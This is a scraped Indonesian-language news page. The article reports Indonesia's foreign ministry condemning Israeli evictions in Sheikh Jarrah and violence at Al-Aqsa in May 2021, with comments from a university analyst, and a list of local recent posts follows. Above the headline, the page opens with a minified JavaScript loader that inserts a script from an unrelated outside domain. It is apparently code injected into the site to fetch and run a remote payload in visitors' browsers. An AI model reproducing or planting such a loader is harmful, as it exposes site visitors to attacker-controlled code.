(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Indonesia Desak Israel Hentikan Kekerasan terhadap Warga Sipil Palestina


KANALKALIMANTAN.COM, JAKARTA —Konflik antara Palestina dan Israel kembali memanas. Saling serang antara berbagai milisi di Jalur Gaza, terutama Hamas dan Jihad Islam, dengan Israel memuncak hari Senin (10/05), sebagai kelanjutan dari bentrokan yang beberapa kali terjadi di dalam kompleks Masjid Al-Aqsa di Yerusalem Timur, Palestina.

Menanggapi perkembangan terbaru ini, Direktur Timur Tengah Kementerian Luar Negeri Bagus Hendraning Kobarsyih kepada VOA, Selasa (11/5) menjelaskan pemerintah Indonesia mengecam keputusan pengadilan Israel yang memerintahkan pengusiran paksa enam keluarga Palestina dari tempat tinggal mereka di kawasan Syekh Jarrah, Yerusalem Timur.

Polisi Israel menahan seorang demonstran Palestina selama protes terhadap rencana penggusuran keluarga Palestina di lingkungan Sheikh Jarrah di Yerusalem timur, 8 Mei 2021. (Foto: AP)

Baca juga:
Kondisi Terkini di Gaza: 35 Warga Palestina Tewas, di Israel 3 Orang Mati

Indonesia juga mengecam kekerasan yang dilakukan aparat keamanan Israel terhadap warga sipil Palestina yang terjadi dalam sejumlah bentrokan di kompleks Masjid Al-Aqsa. Semua ini, lanjut Bagus, telah melukai perasaan umat Islam dan paling berbahaya bisa menciptakan ketidakstabilan di kawasan.

Karena itu, Indonesia mendesak masyarakat internasional untuk segera bertindak buat menghentikan tindakan Israel mengusir warga sipil Palestina dan kekerasan yang mereka lakukan terhadap orang Palestina.

Warga Palestina berlarian setelah pasukan Israel menembakkan gas air mata pasca aksi protes di kompleks masjid Al Aqsa (10/5).

Bagus menambahkan Indonesia akan terus menyuarakan isu Palestina dalam berbagai forum, baik itu di level bilateral, regional, atau multilateral hingga Palestina menjadi negara merdeka dan berdaulat dengan ibu kota Yerusalem Timur. Selain itu, Indonesia juga menggalang dukungan dengan kelompok kwartet – Perserikatan Bangsa-Bangsa. Amerika Serikat, Rusia, dan Uni Eropa – serta negara-negara yang mempunyai peran penting, yakni Arab Saudi, Mesir, Yordania dan Turki.

“Jadi kita mengupayakan agar kekerasan yang sekarang terjadi segera dihentikan karena terjadi di wilayah pendudukan Palestina, di Kota Yerusalem, yang menjadi simbol tiga agama besar. Jadi tidak bisa berlaku kekerasan di tempat itu. Tidak hanya di Yerusalem, tapi di semua wilayah Palestina,” kata Bagus.

Warga Palestina bentrok dengan pasukan keamanan Israel di kompleks masjid Al-Aqsa dalam aksi protes menentang penggusuran paksa rumah warga Palestina di Yerusalem.

Pengamat hubungan internasional dari Universitas Indonesia Yon Machmudi sependapat Indonesia juga perlu berbicara kepada kelompok kwartet, yakni Perserikatan Bangsa-Bangsa, Amerika Serikat, Rusia, dan Uni Eropa untuk mendesak Israel segera menghentikan kekerasan dan kembali ke meja perundingan.

Di samping itu, kelompok kwartet harus mendesak Israel menghentikan pembangunan permukiman baru Yahudi di Yerusalem Timur, yang memang ilegal menurut hukum internasional. Sebab proyek ini makin memperkeruh situasi di Yerusalem dan kian memperpanjang konflik di kota suci bagi tiga agama tersebut.

Pengamat Timur Tengah di Universitas Indonesia, Yon Machmudi (foto: courtesy).

Baca juga: Mal dan Tempat Wisata di Banjarbaru Mulai Tutup, Wali Kota: Kafe dan Rumah Makan Boleh Buka

Ketika ditanya apakah Indonesia perlu membina hubungan diplomatik dengan Israel, Yon mengakui memang perlu pengakuan terhadap kedua pihak yang bertikai. Tapi kalau Indonesia memang serius ingin mengakui Israel, maka pengakuan terhadap kedua pihak juga harus dilakukan oleh negara- negara besar. Sekarang ini, Amerika, Inggris, dan sejumlah negara Eropa belum mengakui kemerdekaan Palestina.

“Sekarang ini tidak seimbang. Ada negara yang hanya mengakui Palestina saja seperti Indonesia dan juga ada yang hanya mengakui Israel saja. Saya kira harus ada keseimbangan,” ujar Yon.

Namun Yon memperingatkan kalau Indonesia menjalin relasi resmi dengan israel, dipastikan akan memperlemah posisi Palestina dan pihak yang mendukung Palestina menjadi berkurang. Kecuali ada komitmen serupa oleh negara-negara besar lainnya untuk mengakui kemerdekaan Palestina. (voaindonesia)


Al Ghifari

Recent Posts

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

5 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

7 jam ago

Mahasiswa Minta Perbaikan Gaji Guru Honorer di Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unjuk rasa BEM se Kalimantan Selatan (Kalsel) di depan gedung DPRD Provinsi… Read More

7 jam ago

Mantan Crosser Ramaikan Pilkada Tala, H Iyan Ambil Formulir ke PPP

KANALKALIMANTAN.COM, PELAIHARI - Nama Haji Iriansyah mencuat di bursa Pemilihan Kepala Daerah (Pilkada) 2024 di… Read More

7 jam ago

Pertahankan Gelar, Kabupaten Banjar Juara Umum di MTQ XXXV Kalsel

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar kembali menoreh prestasi membanggakan, yakni menjadi Juara Umhn pada MTQ… Read More

7 jam ago

KSBSI Kapuas Dukung Erlin Hardi Cabup Kapuas 2024-2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Serikat buruh yang tergabung dalam Konfederasi Serikat Buruh Seluruh Indonesia (KSBSI)… Read More

8 jam ago

This website uses cookies.